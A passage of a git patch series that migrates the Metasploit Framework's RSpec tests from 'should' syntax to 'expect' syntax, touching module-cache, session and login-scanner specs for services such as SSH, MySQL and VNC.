'Msf::DBManager::ModuleCache' do end it 'should match Mdm::Module::Detail#fullname' do - module_details.count.should == 1 + expect(module_details.count).to eq 1 module_details.all? { |module_detail| module_detail.fullname == search_string @@ -474,7 +474,7 @@ shared_examples_for 'Msf::DBManager::ModuleCache' do end it 'should match Mdm::Module::Detail#name' do - module_details.count.should == 1 + expect(module_details.count).to eq 1 module_details.all? { |module_detail| module_detail.name == target_module_detail.name diff --git a/spec/support/shared/examples/msf/db_manager/search_modules/mdm_module_ref_name_keyword.rb b/spec/support/shared/examples/msf/db_manager/search_modules/mdm_module_ref_name_keyword.rb index 30d7d943fd..107c62747f 100644 --- a/spec/support/shared/examples/msf/db_manager/search_modules/mdm_module_ref_name_keyword.rb +++ b/spec/support/shared/examples/msf/db_manager/search_modules/mdm_module_ref_name_keyword.rb @@ -37,7 +37,7 @@ shared_examples_for 'Msf::DBManager#search_modules Mdm::Module::Ref#name keyword context "without #{context_suffix}" do it 'should not match Mdm::Module::Ref#name' do - module_details.count.should == 0 + expect(module_details.count).to eq 0 end end end diff --git a/spec/support/shared/examples/msf/db_manager/session.rb b/spec/support/shared/examples/msf/db_manager/session.rb index ebaef13d92..ef7e8956c1 100644 --- a/spec/support/shared/examples/msf/db_manager/session.rb +++ b/spec/support/shared/examples/msf/db_manager/session.rb @@ -229,7 +229,7 @@ shared_examples_for 'Msf::DBManager::Session' do it 'should set session.db_record to created Mdm::Session' do mdm_session = report_session - session.db_record.should == mdm_session + expect(session.db_record).to eq mdm_session end context 'with session.via_exploit' do @@ -432,7 +432,7 @@ shared_examples_for 'Msf::DBManager::Session' do context "with session.via_exploit 'exploit/multi/handler'" do it "should have session.via_exploit of 'exploit/multi/handler'" do - session.via_exploit.should == 'exploit/multi/handler' + expect(session.via_exploit).to eq 'exploit/multi/handler' end context "with session.exploit_datastore['ParentModule']" do @@ -572,7 +572,7 @@ shared_examples_for 'Msf::DBManager::Session' do it 'should set session.db_record to created Mdm::Session' do mdm_session = report_session - session.db_record.should == mdm_session + expect(session.db_record).to eq mdm_session end context 'with session.via_exploit' do @@ -775,7 +775,7 @@ shared_examples_for 'Msf::DBManager::Session' do context "with session.via_exploit 'exploit/multi/handler'" do it "should have session.via_exploit of 'exploit/multi/handler'" do - session.via_exploit.should == 'exploit/multi/handler' + expect(session.via_exploit).to eq 'exploit/multi/handler' end context "with session.exploit_datastore['ParentModule']" do diff --git a/spec/support/shared/examples/msf/db_manager/update_all_module_details_refresh.rb b/spec/support/shared/examples/msf/db_manager/update_all_module_details_refresh.rb index af60cff7ff..0eed8f9dc1 100644 --- a/spec/support/shared/examples/msf/db_manager/update_all_module_details_refresh.rb +++ b/spec/support/shared/examples/msf/db_manager/update_all_module_details_refresh.rb @@ -32,8 +32,8 @@ shared_examples_for 'Msf::DBManager#update_all_module_details refresh' do it 'should call update_module_details to create a new Mdm::Module::Detail from the module instance returned by create' do db_manager.should_receive(:update_module_details) do |module_instance| module_instance.should be_a Msf::Module - module_instance.type.should == module_detail.mtype - module_instance.refname.should == module_detail.refname + expect(module_instance.type).to eq module_detail.mtype + expect(module_instance.refname).to eq module_detail.refname end update_all_module_details diff --git a/spec/support/shared/examples/msf/db_manager/update_module_details_with_module_type.rb b/spec/support/shared/examples/msf/db_manager/update_module_details_with_module_type.rb index 54a4f18885..c71ee0c398 100644 --- a/spec/support/shared/examples/msf/db_manager/update_module_details_with_module_type.rb +++ b/spec/support/shared/examples/msf/db_manager/update_module_details_with_module_type.rb @@ -14,7 +14,7 @@ shared_examples_for 'Msf::DBManager#update_module_details with module' do |optio end it "should use module_instance with #{type.inspect} type" do - module_instance.type.should == type + expect(module_instance.type).to eq type end it 'should not raise error' do diff --git a/spec/support/shared/examples/msf/module_manager/cache.rb b/spec/support/shared/examples/msf/module_manager/cache.rb index 5a7029e24c..2a6f66b662 100644 --- a/spec/support/shared/examples/msf/module_manager/cache.rb +++ b/spec/support/shared/examples/msf/module_manager/cache.rb @@ -106,19 +106,19 @@ shared_examples_for 'Msf::ModuleManager::Cache' do end it 'should have modification time of :path option for :modification_time' do - value[:modification_time].should == pathname_modification_time + expect(value[:modification_time]).to eq pathname_modification_time end it 'should have parent path from namespace module for :parent_path' do - value[:parent_path].should == namespace_module.parent_path + expect(value[:parent_path]).to eq namespace_module.parent_path end it 'should use :reference_name option' do - value[:reference_name].should == reference_name + expect(value[:reference_name]).to eq reference_name end it 'should use :type option' do - value[:type].should == type + expect(value[:type]).to eq type end end end @@ -440,7 +440,7 @@ shared_examples_for 'Msf::ModuleManager::Cache' do # have to use fetch because [] will trigger de-symbolization and # instantiation. - typed_module_set.fetch(reference_name).should == Msf::SymbolicModule + expect(typed_module_set.fetch(reference_name)).to eq Msf::SymbolicModule end end end diff --git a/spec/support/shared/examples/msf/module_manager/loading.rb b/spec/support/shared/examples/msf/module_manager/loading.rb index 4fc1486318..a70c5bb179 100644 --- a/spec/support/shared/examples/msf/module_manager/loading.rb +++ b/spec/support/shared/examples/msf/module_manager/loading.rb @@ -70,7 +70,7 @@ shared_examples_for 'Msf::ModuleManager::Loading' do :modification_time => cached_modification_time } - cached_modification_time.should == modification_time + expect(cached_modification_time).to eq modification_time subject.file_changed?(module_path).should be_falsey end end diff --git a/spec/support/shared/examples/msf/modules/error_subclass_initialize.rb b/spec/support/shared/examples/msf/modules/error_subclass_initialize.rb index 5b80ff0aac..af45717cb8 100644 --- a/spec/support/shared/examples/msf/modules/error_subclass_initialize.rb +++ b/spec/support/shared/examples/msf/modules/error_subclass_initialize.rb @@ -16,11 +16,11 @@ shared_examples_for 'Msf::Modules::Error subclass #initialize' do end it 'should set module_path' do - subject.module_path.should == module_path + expect(subject.module_path).to eq module_path end it 'should set module_reference_name' do - subject.module_reference_name.should == module_reference_name + expect(subject.module_reference_name).to eq module_reference_name end end end diff --git a/spec/support/shared/examples/typed_path.rb b/spec/support/shared/examples/typed_path.rb index ba33e7eedd..5794fe9b21 100644 --- a/spec/support/shared/examples/typed_path.rb +++ b/spec/support/shared/examples/typed_path.rb @@ -23,7 +23,7 @@ shared_examples_for 'typed_path' do |map| typed_path = described_class.typed_path(type_constant, module_reference_name) first_directory = typed_path.split(File::SEPARATOR).first - first_directory.should == directory + expect(first_directory).to eq directory end end end From 03c649bb911805789d657e78f8ef2d5403321de8 Mon Sep 17 00:00:00 2001 From: Luke Imhoff <luke_imhoff@rapid7.com> Date: Tue, 20 Oct 2015 12:40:33 -0500 Subject: [PATCH 1493/2172] should_receive -> expect().to receive MSP-13484 --- .../abstract_adapter/connection_pool_spec.rb | 2 +- .../framework/jtr/invalid_wordlist_spec.rb | 2 +- .../framework/login_scanner/db2_spec.rb | 6 +-- .../framework/login_scanner/ftp_spec.rb | 8 ++-- .../framework/login_scanner/invalid_spec.rb | 2 +- .../framework/login_scanner/mssql_spec.rb | 6 +-- .../framework/login_scanner/mysql_spec.rb | 22 +++++----- .../framework/login_scanner/pop3_spec.rb | 2 +- .../framework/login_scanner/postgres_spec.rb | 12 +++--- .../framework/login_scanner/ssh_spec.rb | 28 ++++++------- .../framework/login_scanner/vnc_spec.rb | 18 ++++----- spec/lib/msf/core/exploit/http/server_spec.rb | 12 +++--- spec/lib/msf/core/modules/loader/base_spec.rb | 40 +++++++++---------- .../msf/core/modules/loader/directory_spec.rb | 4 +- spec/lib/msf/core/modules/namespace_spec.rb | 2 +- spec/lib/msf/core/option_container_spec.rb | 4 +- spec/lib/msf/core/payload_generator_spec.rb | 24 +++++------ .../console/command_dispatcher/core_spec.rb | 4 +- spec/lib/rex/proto/http/client_spec.rb | 8 ++-- spec/msfupdate_spec.rb | 10 ++--- .../login_scanner/login_scanner_base.rb | 24 +++++------ .../msf/db_manager/exploit_attempt.rb | 12 +++--- .../import/metasploit_framework/xml.rb | 30 +++++++------- .../import_msf_web_element_specialization.rb | 8 ++-- .../examples/msf/db_manager/migration.rb | 18 ++++----- .../examples/msf/db_manager/module_cache.rb | 14 +++---- .../shared/examples/msf/db_manager/session.rb | 20 +++++----- .../update_all_module_details_refresh.rb | 6 +-- .../examples/msf/module_manager/cache.rb | 18 ++++----- .../examples/msf/module_manager/loading.rb | 8 ++-- .../msf/simple/framework/module_paths.rb | 6 +-- 31 files changed, 190 insertions(+), 190 deletions(-) diff --git a/spec/lib/active_record/connection_adapters/abstract_adapter/connection_pool_spec.rb b/spec/lib/active_record/connection_adapters/abstract_adapter/connection_pool_spec.rb index 5ff89034ed..822b944d35 100644 --- a/spec/lib/active_record/connection_adapters/abstract_adapter/connection_pool_spec.rb +++ b/spec/lib/active_record/connection_adapters/abstract_adapter/connection_pool_spec.rb @@ -69,7 +69,7 @@ RSpec.describe ActiveRecord::ConnectionAdapters::ConnectionPool do end it 'should call #current_connection_id' do - connection_pool.should_receive( + expect(connection_pool).to receive( :current_connection_id ).at_least( :once diff --git a/spec/lib/metasploit/framework/jtr/invalid_wordlist_spec.rb b/spec/lib/metasploit/framework/jtr/invalid_wordlist_spec.rb index 7c272c223a..4058eddc18 100644 --- a/spec/lib/metasploit/framework/jtr/invalid_wordlist_spec.rb +++ b/spec/lib/metasploit/framework/jtr/invalid_wordlist_spec.rb @@ -20,7 +20,7 @@ RSpec.describe Metasploit::Framework::JtR::InvalidWordlist do it { should be_a StandardError } it 'should use ActiveModel::Errors#full_messages' do - model.errors.should_receive(:full_messages).and_call_original + expect(model.errors).to receive(:full_messages).and_call_original described_class.new(model) end diff --git a/spec/lib/metasploit/framework/login_scanner/db2_spec.rb b/spec/lib/metasploit/framework/login_scanner/db2_spec.rb index 596bc12623..3078f82cd8 100644 --- a/spec/lib/metasploit/framework/login_scanner/db2_spec.rb +++ b/spec/lib/metasploit/framework/login_scanner/db2_spec.rb @@ -18,7 +18,7 @@ RSpec.describe Metasploit::Framework::LoginScanner::DB2 do context 'when the socket errors' do it 'returns a connection_error result for an Rex::ConnectionError' do my_scanner = login_scanner - my_scanner.should_receive(:connect).and_raise ::Rex::ConnectionError + expect(my_scanner).to receive(:connect).and_raise ::Rex::ConnectionError result = my_scanner.attempt_login(test_cred) expect(result.status).to eq Metasploit::Model::Login::Status::UNABLE_TO_CONNECT expect(result.proof).to be_a(::Rex::ConnectionError) @@ -26,7 +26,7 @@ RSpec.describe Metasploit::Framework::LoginScanner::DB2 do it 'returns a connection_error result for an Rex::ConnectionTimeout' do my_scanner = login_scanner - my_scanner.should_receive(:connect).and_raise ::Rex::ConnectionTimeout + expect(my_scanner).to receive(:connect).and_raise ::Rex::ConnectionTimeout result = my_scanner.attempt_login(test_cred) expect(result.status).to eq Metasploit::Model::Login::Status::UNABLE_TO_CONNECT expect(result.proof).to be_a(::Rex::ConnectionTimeout) @@ -34,7 +34,7 @@ RSpec.describe Metasploit::Framework::LoginScanner::DB2 do it 'returns a connection_error result for an ::Timeout::Error' do my_scanner = login_scanner - my_scanner.should_receive(:connect).and_raise ::Timeout::Error + expect(my_scanner).to receive(:connect).and_raise ::Timeout::Error result = my_scanner.attempt_login(test_cred) expect(result.status).to eq Metasploit::Model::Login::Status::UNABLE_TO_CONNECT expect(result.proof).to be_a(::Timeout::Error) diff --git a/spec/lib/metasploit/framework/login_scanner/ftp_spec.rb b/spec/lib/metasploit/framework/login_scanner/ftp_spec.rb index 324ae7e506..21fd8ec44e 100644 --- a/spec/lib/metasploit/framework/login_scanner/ftp_spec.rb +++ b/spec/lib/metasploit/framework/login_scanner/ftp_spec.rb @@ -105,22 +105,22 @@ RSpec.describe Metasploit::Framework::LoginScanner::FTP do context 'when it fails' do it 'returns Metasploit::Model::Login::Status::UNABLE_TO_CONNECT for a Rex::ConnectionError' do - Rex::Socket::Tcp.should_receive(:create) { raise Rex::ConnectionError } + expect(Rex::Socket::Tcp).to receive(:create) { raise Rex::ConnectionError } expect(ftp_scanner.attempt_login(pub_pri).status).to eq Metasploit::Model::Login::Status::UNABLE_TO_CONNECT end it 'returns Metasploit::Model::Login::Status::UNABLE_TO_CONNECT for a Rex::AddressInUse' do - Rex::Socket::Tcp.should_receive(:create) { raise Rex::AddressInUse } + expect(Rex::Socket::Tcp).to receive(:create) { raise Rex::AddressInUse } expect(ftp_scanner.attempt_login(pub_pri).status).to eq Metasploit::Model::Login::Status::UNABLE_TO_CONNECT end it 'returns :connection_disconnect for a ::EOFError' do - Rex::Socket::Tcp.should_receive(:create) { raise ::EOFError } + expect(Rex::Socket::Tcp).to receive(:create) { raise ::EOFError } expect(ftp_scanner.attempt_login(pub_pri).status).to eq Metasploit::Model::Login::Status::UNABLE_TO_CONNECT end it 'returns :connection_disconnect for a ::Timeout::Error' do - Rex::Socket::Tcp.should_receive(:create) { raise ::Timeout::Error } + expect(Rex::Socket::Tcp).to receive(:create) { raise ::Timeout::Error } expect(ftp_scanner.attempt_login(pub_pri).status).to eq Metasploit::Model::Login::Status::UNABLE_TO_CONNECT end diff --git a/spec/lib/metasploit/framework/login_scanner/invalid_spec.rb b/spec/lib/metasploit/framework/login_scanner/invalid_spec.rb index 663a598c3d..ee306145c5 100644 --- a/spec/lib/metasploit/framework/login_scanner/invalid_spec.rb +++ b/spec/lib/metasploit/framework/login_scanner/invalid_spec.rb @@ -20,7 +20,7 @@ RSpec.describe Metasploit::Framework::LoginScanner::Invalid do it { should be_a StandardError } it 'should use ActiveModel::Errors#full_messages' do - model.errors.should_receive(:full_messages).and_call_original + expect(model.errors).to receive(:full_messages).and_call_original described_class.new(model) end diff --git a/spec/lib/metasploit/framework/login_scanner/mssql_spec.rb b/spec/lib/metasploit/framework/login_scanner/mssql_spec.rb index 1fd48bd2e4..60a1eb9b35 100644 --- a/spec/lib/metasploit/framework/login_scanner/mssql_spec.rb +++ b/spec/lib/metasploit/framework/login_scanner/mssql_spec.rb @@ -69,7 +69,7 @@ RSpec.describe Metasploit::Framework::LoginScanner::MSSQL do context 'when the is a connection error' do it 'returns a result with the connection_error status' do my_scanner = login_scanner - my_scanner.should_receive(:mssql_login).and_raise ::Rex::ConnectionError + expect(my_scanner).to receive(:mssql_login).and_raise ::Rex::ConnectionError expect(my_scanner.attempt_login(pub_blank).status).to eq Metasploit::Model::Login::Status::UNABLE_TO_CONNECT end end @@ -77,7 +77,7 @@ RSpec.describe Metasploit::Framework::LoginScanner::MSSQL do context 'when the login fails' do it 'returns a result object with a status of Metasploit::Model::Login::Status::INCORRECT' do my_scanner = login_scanner - my_scanner.should_receive(:mssql_login).and_return false + expect(my_scanner).to receive(:mssql_login).and_return false expect(my_scanner.attempt_login(pub_blank).status).to eq Metasploit::Model::Login::Status::INCORRECT end end @@ -85,7 +85,7 @@ RSpec.describe Metasploit::Framework::LoginScanner::MSSQL do context 'when the login succeeds' do it 'returns a result object with a status of Metasploit::Model::Login::Status::SUCCESSFUL' do my_scanner = login_scanner - my_scanner.should_receive(:mssql_login).and_return true + expect(my_scanner).to receive(:mssql_login).and_return true expect(my_scanner.attempt_login(pub_blank).status).to eq Metasploit::Model::Login::Status::SUCCESSFUL end end diff --git a/spec/lib/metasploit/framework/login_scanner/mysql_spec.rb b/spec/lib/metasploit/framework/login_scanner/mysql_spec.rb index 416614e0e5..f5a101d05c 100644 --- a/spec/lib/metasploit/framework/login_scanner/mysql_spec.rb +++ b/spec/lib/metasploit/framework/login_scanner/mysql_spec.rb @@ -37,7 +37,7 @@ RSpec.describe Metasploit::Framework::LoginScanner::MySQL do context 'when the attempt is successful' do it 'returns a result object with a status of Metasploit::Model::Login::Status::SUCCESSFUL' do - ::RbMysql.should_receive(:connect).and_return "fake mysql handle" + expect(::RbMysql).to receive(:connect).and_return "fake mysql handle" expect(login_scanner.attempt_login(pub_pri).status).to eq Metasploit::Model::Login::Status::SUCCESSFUL end end @@ -45,60 +45,60 @@ RSpec.describe Metasploit::Framework::LoginScanner::MySQL do context 'when the attempt is unsuccessful' do context 'due to connection refused' do it 'returns a result with a status of Metasploit::Model::Login::Status::UNABLE_TO_CONNECT' do - ::RbMysql.should_receive(:connect).and_raise Errno::ECONNREFUSED + expect(::RbMysql).to receive(:connect).and_raise Errno::ECONNREFUSED expect(login_scanner.attempt_login(pub_pub).status).to eq Metasploit::Model::Login::Status::UNABLE_TO_CONNECT end it 'returns a result with the proof containing an appropriate error message' do - ::RbMysql.should_receive(:connect).and_raise Errno::ECONNREFUSED + expect(::RbMysql).to receive(:connect).and_raise Errno::ECONNREFUSED expect(login_scanner.attempt_login(pub_pub).proof).to be_a(Errno::ECONNREFUSED) end end context 'due to connection timeout' do it 'returns a result with a status of Metasploit::Model::Login::Status::UNABLE_TO_CONNECT' do - ::RbMysql.should_receive(:connect).and_raise RbMysql::ClientError + expect(::RbMysql).to receive(:connect).and_raise RbMysql::ClientError expect(login_scanner.attempt_login(pub_pub).status).to eq Metasploit::Model::Login::Status::UNABLE_TO_CONNECT end it 'returns a result with the proof containing an appropriate error message' do - ::RbMysql.should_receive(:connect).and_raise RbMysql::ClientError + expect(::RbMysql).to receive(:connect).and_raise RbMysql::ClientError expect(login_scanner.attempt_login(pub_pub).proof).to be_a(RbMysql::ClientError) end end context 'due to operation timeout' do it 'returns a result with a status of Metasploit::Model::Login::Status::UNABLE_TO_CONNECT' do - ::RbMysql.should_receive(:connect).and_raise Errno::ETIMEDOUT + expect(::RbMysql).to receive(:connect).and_raise Errno::ETIMEDOUT expect(login_scanner.attempt_login(pub_pub).status).to eq Metasploit::Model::Login::Status::UNABLE_TO_CONNECT end it 'returns a result with the proof containing an appropriate error message' do - ::RbMysql.should_receive(:connect).and_raise Errno::ETIMEDOUT + expect(::RbMysql).to receive(:connect).and_raise Errno::ETIMEDOUT expect(login_scanner.attempt_login(pub_pub).proof).to be_a(Errno::ETIMEDOUT) end end context 'due to not being allowed to connect from this host' do it 'returns a result with a status of Metasploit::Model::Login::Status::UNABLE_TO_CONNECT' do - ::RbMysql.should_receive(:connect).and_raise RbMysql::HostNotPrivileged, "Host not privileged" + expect(::RbMysql).to receive(:connect).and_raise RbMysql::HostNotPrivileged, "Host not privileged" expect(login_scanner.attempt_login(pub_pub).status).to eq Metasploit::Model::Login::Status::UNABLE_TO_CONNECT end it 'returns a result with the proof containing an appropriate error message' do - ::RbMysql.should_receive(:connect).and_raise RbMysql::HostNotPrivileged, "Host not privileged" + expect(::RbMysql).to receive(:connect).and_raise RbMysql::HostNotPrivileged, "Host not privileged" expect(login_scanner.attempt_login(pub_pub).proof).to be_a(RbMysql::HostNotPrivileged) end end context 'due to access denied' do it 'returns a result with a status of Metasploit::Model::Login::Status::INCORRECT' do - ::RbMysql.should_receive(:connect).and_raise RbMysql::AccessDeniedError, "Access Denied" + expect(::RbMysql).to receive(:connect).and_raise RbMysql::AccessDeniedError, "Access Denied" expect(login_scanner.attempt_login(pub_pub).status).to eq Metasploit::Model::Login::Status::INCORRECT end it 'returns a result with the proof containing an appropriate error message' do - ::RbMysql.should_receive(:connect).and_raise RbMysql::AccessDeniedError, "Access Denied" + expect(::RbMysql).to receive(:connect).and_raise RbMysql::AccessDeniedError, "Access Denied" expect(login_scanner.attempt_login(pub_pub).proof).to be_a(RbMysql::AccessDeniedError) end end diff --git a/spec/lib/metasploit/framework/login_scanner/pop3_spec.rb b/spec/lib/metasploit/framework/login_scanner/pop3_spec.rb index 21a8680fe3..a2f72f946c 100644 --- a/spec/lib/metasploit/framework/login_scanner/pop3_spec.rb +++ b/spec/lib/metasploit/framework/login_scanner/pop3_spec.rb @@ -52,7 +52,7 @@ RSpec.describe Metasploit::Framework::LoginScanner::POP3 do sock.stub(:closed?) expect(scanner).to receive(:connect) scanner.stub(:sock).and_return(sock) - scanner.should_receive(:select).with([sock],nil,nil,0.4) + expect(scanner).to receive(:select).with([sock],nil,nil,0.4) end it "Server returns +OK" do diff --git a/spec/lib/metasploit/framework/login_scanner/postgres_spec.rb b/spec/lib/metasploit/framework/login_scanner/postgres_spec.rb index fe4e1e6856..0724493781 100644 --- a/spec/lib/metasploit/framework/login_scanner/postgres_spec.rb +++ b/spec/lib/metasploit/framework/login_scanner/postgres_spec.rb @@ -31,22 +31,22 @@ RSpec.describe Metasploit::Framework::LoginScanner::Postgres do context 'when the login is successful' do it 'returns a result object with a status of success' do fake_conn = "fake_connection" - Msf::Db::PostgresPR::Connection.should_receive(:new).and_return fake_conn - fake_conn.should_receive(:close) + expect(Msf::Db::PostgresPR::Connection).to receive(:new).and_return fake_conn + expect(fake_conn).to receive(:close) expect(login_scanner.attempt_login(full_cred).status).to eq Metasploit::Model::Login::Status::SUCCESSFUL end end context 'when there is no realm on the credential' do it 'uses template1 as the default realm' do - Msf::Db::PostgresPR::Connection.should_receive(:new).with('template1', 'root', 'toor', 'tcp://:') + expect(Msf::Db::PostgresPR::Connection).to receive(:new).with('template1', 'root', 'toor', 'tcp://:') login_scanner.attempt_login(cred_no_realm) end end context 'when the realm is invalid but the rest of the credential is not' do it 'includes the details in the result proof' do - Msf::Db::PostgresPR::Connection.should_receive(:new).and_raise RuntimeError, "blah\tC3D000" + expect(Msf::Db::PostgresPR::Connection).to receive(:new).and_raise RuntimeError, "blah\tC3D000" result = login_scanner.attempt_login(cred_no_realm) expect(result.status).to eq Metasploit::Model::Login::Status::INCORRECT expect(result.proof).to eq "C3D000, Creds were good but database was bad" @@ -55,7 +55,7 @@ RSpec.describe Metasploit::Framework::LoginScanner::Postgres do context 'when the username or password is invalid' do it 'includes a message in proof, indicating why it failed' do - Msf::Db::PostgresPR::Connection.should_receive(:new).and_raise RuntimeError, "blah\tC28000" + expect(Msf::Db::PostgresPR::Connection).to receive(:new).and_raise RuntimeError, "blah\tC28000" result = login_scanner.attempt_login(cred_no_realm) expect(result.status).to eq Metasploit::Model::Login::Status::INCORRECT expect(result.proof).to eq "Invalid username or password" @@ -64,7 +64,7 @@ RSpec.describe Metasploit::Framework::LoginScanner::Postgres do context 'when any other type of error occurs' do it 'returns a failure with the error message in the proof' do - Msf::Db::PostgresPR::Connection.should_receive(:new).and_raise RuntimeError, "unknown error" + expect(Msf::Db::PostgresPR::Connection).to receive(:new).and_raise RuntimeError, "unknown error" result = login_scanner.attempt_login(cred_no_realm) expect(result.status).to eq Metasploit::Model::Login::Status::INCORRECT expect(result.proof).to eq "unknown error" diff --git a/spec/lib/metasploit/framework/login_scanner/ssh_spec.rb b/spec/lib/metasploit/framework/login_scanner/ssh_spec.rb index 93fba3a081..e0d57ccfb5 100644 --- a/spec/lib/metasploit/framework/login_scanner/ssh_spec.rb +++ b/spec/lib/metasploit/framework/login_scanner/ssh_spec.rb @@ -116,7 +116,7 @@ RSpec.describe Metasploit::Framework::LoginScanner::SSH do end it 'creates a Timeout based on the connection_timeout' do - ::Timeout.should_receive(:timeout).with(ssh_scanner.connection_timeout) + expect(::Timeout).to receive(:timeout).with(ssh_scanner.connection_timeout) ssh_scanner.attempt_login(pub_pri) end @@ -131,7 +131,7 @@ RSpec.describe Metasploit::Framework::LoginScanner::SSH do :verbose => ssh_scanner.verbosity, :proxies => nil } - Net::SSH.should_receive(:start).with( + expect(Net::SSH).to receive(:start).with( ssh_scanner.host, public, opt_hash @@ -151,7 +151,7 @@ RSpec.describe Metasploit::Framework::LoginScanner::SSH do :verbose => ssh_scanner.verbosity, :proxies => nil } - Net::SSH.should_receive(:start).with( + expect(Net::SSH).to receive(:start).with( ssh_scanner.host, public, hash_including(opt_hash) @@ -163,37 +163,37 @@ RSpec.describe Metasploit::Framework::LoginScanner::SSH do context 'when it fails' do it 'returns Metasploit::Model::Login::Status::UNABLE_TO_CONNECT for a Rex::ConnectionError' do - Net::SSH.should_receive(:start) { raise Rex::ConnectionError } + expect(Net::SSH).to receive(:start) { raise Rex::ConnectionError } expect(ssh_scanner.attempt_login(pub_pri).status).to eq Metasploit::Model::Login::Status::UNABLE_TO_CONNECT end it 'returns Metasploit::Model::Login::Status::UNABLE_TO_CONNECT for a Rex::AddressInUse' do - Net::SSH.should_receive(:start) { raise Rex::AddressInUse } + expect(Net::SSH).to receive(:start) { raise Rex::AddressInUse } expect(ssh_scanner.attempt_login(pub_pri).status).to eq Metasploit::Model::Login::Status::UNABLE_TO_CONNECT end it 'returns :connection_disconnect for a Net::SSH::Disconnect' do - Net::SSH.should_receive(:start) { raise Net::SSH::Disconnect } + expect(Net::SSH).to receive(:start) { raise Net::SSH::Disconnect } expect(ssh_scanner.attempt_login(pub_pri).status).to eq Metasploit::Model::Login::Status::UNABLE_TO_CONNECT end it 'returns :connection_disconnect for a ::EOFError' do - Net::SSH.should_receive(:start) { raise ::EOFError } + expect(Net::SSH).to receive(:start) { raise ::EOFError } expect(ssh_scanner.attempt_login(pub_pri).status).to eq Metasploit::Model::Login::Status::UNABLE_TO_CONNECT end it 'returns :connection_disconnect for a ::Timeout::Error' do - Net::SSH.should_receive(:start) { raise ::Timeout::Error } + expect(Net::SSH).to receive(:start) { raise ::Timeout::Error } expect(ssh_scanner.attempt_login(pub_pri).status).to eq Metasploit::Model::Login::Status::UNABLE_TO_CONNECT end it 'returns [:fail,nil] for a Net::SSH::Exception' do - Net::SSH.should_receive(:start) { raise Net::SSH::Exception } + expect(Net::SSH).to receive(:start) { raise Net::SSH::Exception } expect(ssh_scanner.attempt_login(pub_pri).status).to eq Metasploit::Model::Login::Status::INCORRECT end it 'returns [:fail,nil] if no socket returned' do - Net::SSH.should_receive(:start).and_return nil + expect(Net::SSH).to receive(:start).and_return nil expect(ssh_scanner.attempt_login(pub_pri).status).to eq Metasploit::Model::Login::Status::INCORRECT end end @@ -201,16 +201,16 @@ RSpec.describe Metasploit::Framework::LoginScanner::SSH do context 'when it succeeds' do it 'gathers proof of the connections' do - Net::SSH.should_receive(:start) {"fake_socket"} + expect(Net::SSH).to receive(:start) {"fake_socket"} my_scanner = ssh_scanner - my_scanner.should_receive(:gather_proof) + expect(my_scanner).to receive(:gather_proof) my_scanner.attempt_login(pub_pri) end it 'returns a success code and proof' do - Net::SSH.should_receive(:start) {"fake_socket"} + expect(Net::SSH).to receive(:start) {"fake_socket"} my_scanner = ssh_scanner - my_scanner.should_receive(:gather_proof).and_return(public) + expect(my_scanner).to receive(:gather_proof).and_return(public) expect(my_scanner.attempt_login(pub_pri).status).to eq Metasploit::Model::Login::Status::SUCCESSFUL end end diff --git a/spec/lib/metasploit/framework/login_scanner/vnc_spec.rb b/spec/lib/metasploit/framework/login_scanner/vnc_spec.rb index edc9b03a6c..ca224b9d62 100644 --- a/spec/lib/metasploit/framework/login_scanner/vnc_spec.rb +++ b/spec/lib/metasploit/framework/login_scanner/vnc_spec.rb @@ -19,19 +19,19 @@ RSpec.describe Metasploit::Framework::LoginScanner::VNC do context '#attempt_login' do it 'creates a new RFB client' do - Rex::Proto::RFB::Client.should_receive(:new).and_call_original + expect(Rex::Proto::RFB::Client).to receive(:new).and_call_original login_scanner.attempt_login(test_cred) end it 'returns a connection_error result when the handshake fails' do - Rex::Proto::RFB::Client.any_instance.should_receive(:handshake).and_return false + expect(Rex::Proto::RFB::Client.any_instance).to receive(:handshake).and_return false result = login_scanner.attempt_login(test_cred) expect(result.status).to eq Metasploit::Model::Login::Status::UNABLE_TO_CONNECT end it 'returns a failed result when authentication fails' do - Rex::Proto::RFB::Client.any_instance.should_receive(:handshake).and_return true - Rex::Proto::RFB::Client.any_instance.should_receive(:authenticate).with(private).and_return false + expect(Rex::Proto::RFB::Client.any_instance).to receive(:handshake).and_return true + expect(Rex::Proto::RFB::Client.any_instance).to receive(:authenticate).with(private).and_return false result = login_scanner.attempt_login(test_cred) expect(result.status).to eq Metasploit::Model::Login::Status::INCORRECT end @@ -39,7 +39,7 @@ RSpec.describe Metasploit::Framework::LoginScanner::VNC do context 'when the socket errors' do it 'returns a connection_error result for an EOFError' do my_scanner = login_scanner - my_scanner.should_receive(:connect).and_raise ::EOFError + expect(my_scanner).to receive(:connect).and_raise ::EOFError result = my_scanner.attempt_login(test_cred) expect(result.status).to eq Metasploit::Model::Login::Status::UNABLE_TO_CONNECT expect(result.proof).to eq ::EOFError.new.to_s @@ -47,7 +47,7 @@ RSpec.describe Metasploit::Framework::LoginScanner::VNC do it 'returns a connection_error result for an Rex::AddressInUse' do my_scanner = login_scanner - my_scanner.should_receive(:connect).and_raise ::Rex::AddressInUse + expect(my_scanner).to receive(:connect).and_raise ::Rex::AddressInUse result = my_scanner.attempt_login(test_cred) expect(result.status).to eq Metasploit::Model::Login::Status::UNABLE_TO_CONNECT expect(result.proof).to eq ::Rex::AddressInUse.new.to_s @@ -55,7 +55,7 @@ RSpec.describe Metasploit::Framework::LoginScanner::VNC do it 'returns a connection_error result for an Rex::ConnectionError' do my_scanner = login_scanner - my_scanner.should_receive(:connect).and_raise ::Rex::ConnectionError + expect(my_scanner).to receive(:connect).and_raise ::Rex::ConnectionError result = my_scanner.attempt_login(test_cred) expect(result.status).to eq Metasploit::Model::Login::Status::UNABLE_TO_CONNECT expect(result.proof).to eq ::Rex::ConnectionError.new.to_s @@ -63,7 +63,7 @@ RSpec.describe Metasploit::Framework::LoginScanner::VNC do it 'returns a connection_error result for an Rex::ConnectionTimeout' do my_scanner = login_scanner - my_scanner.should_receive(:connect).and_raise ::Rex::ConnectionTimeout + expect(my_scanner).to receive(:connect).and_raise ::Rex::ConnectionTimeout result = my_scanner.attempt_login(test_cred) expect(result.status).to eq Metasploit::Model::Login::Status::UNABLE_TO_CONNECT expect(result.proof).to eq ::Rex::ConnectionTimeout.new.to_s @@ -71,7 +71,7 @@ RSpec.describe Metasploit::Framework::LoginScanner::VNC do it 'returns a connection_error result for an ::Timeout::Error' do my_scanner = login_scanner - my_scanner.should_receive(:connect).and_raise ::Timeout::Error + expect(my_scanner).to receive(:connect).and_raise ::Timeout::Error result = my_scanner.attempt_login(test_cred) expect(result.status).to eq Metasploit::Model::Login::Status::UNABLE_TO_CONNECT expect(result.proof).to eq 